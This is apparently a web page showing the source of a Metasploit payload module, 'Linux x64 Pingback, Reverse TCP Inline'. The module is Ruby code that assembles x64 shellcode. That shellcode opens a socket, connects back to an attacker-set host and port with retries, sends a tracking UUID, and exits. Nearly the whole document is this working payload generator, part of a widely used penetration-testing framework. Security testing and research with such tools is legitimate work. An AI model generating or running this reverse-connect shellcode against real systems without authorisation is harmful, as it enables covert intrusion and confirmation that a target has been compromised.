Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567module MetasploitModule89CachedSize = 1251011include Msf::Payload::Linux12include Msf::Payload::Single13include Msf::Payload::Pingback14include Msf::Payload::Pingback::Options1516def initialize(info = {})17super(merge_info(info,18'Name' => 'Linux x64 Pingback, Reverse TCP Inline',19'Description' => 'Connect back to attacker and report UUID (Linux x64)',20'Author' => [ 'bwatters-r7' ],21'License' => MSF_LICENSE,22'Platform' => 'linux',23'Arch' => ARCH_X64,24'Handler' => Msf::Handler::ReverseTcp,25'Session' => Msf::Sessions::Pingback26))27def generate(opts={})28# 22 -> "0x00,0x16"29# 4444 -> "0x11,0x5c"30encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first31encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first32encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]33retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max3435self.pingback_uuid ||= self.generate_pingback_uuid36uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")37seconds = 5.038sleep_seconds = seconds.to_i39sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i4041asm = %Q^42push #{retry_count} ; retry counter43pop r944push rsi45push rax46push 0x2947pop rax48cdq49push 0x250pop rdi51push 0x152pop rsi53syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)54test rax, rax55js failed5657xchg rdi, rax5859connect:60mov rcx, #{encoded_host_port}61push rcx62mov rsi, rsp63push 0x1064pop rdx65push 0x2a66pop rax67syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)68pop rcx69test rax, rax70jns send_pingback7172handle_failure:73dec r974jz failed75push rdi76push 0x2377pop rax78push 0x#{sleep_nanoseconds.to_s(16)}79push 0x#{sleep_seconds.to_s(16)}80mov rdi, rsp81xor rsi, rsi82syscall ; sys_nanosleep83pop rcx84pop rcx85pop rdi86test rax, rax87jns connect8889failed:90push 0x3c91pop rax92push 0x193pop rdi94syscall ; exit(1)9596send_pingback:97push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID98pop rdx99call get_uuid_address ; put uuid buffer on the stack100db #{uuid_as_db} ; PINGBACK_UUID101102get_uuid_address:103pop rsi ; UUID address104xor rax, rax105inc rax106syscall ; sys_write107108jmp failed109^110Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string111end112end113end114115116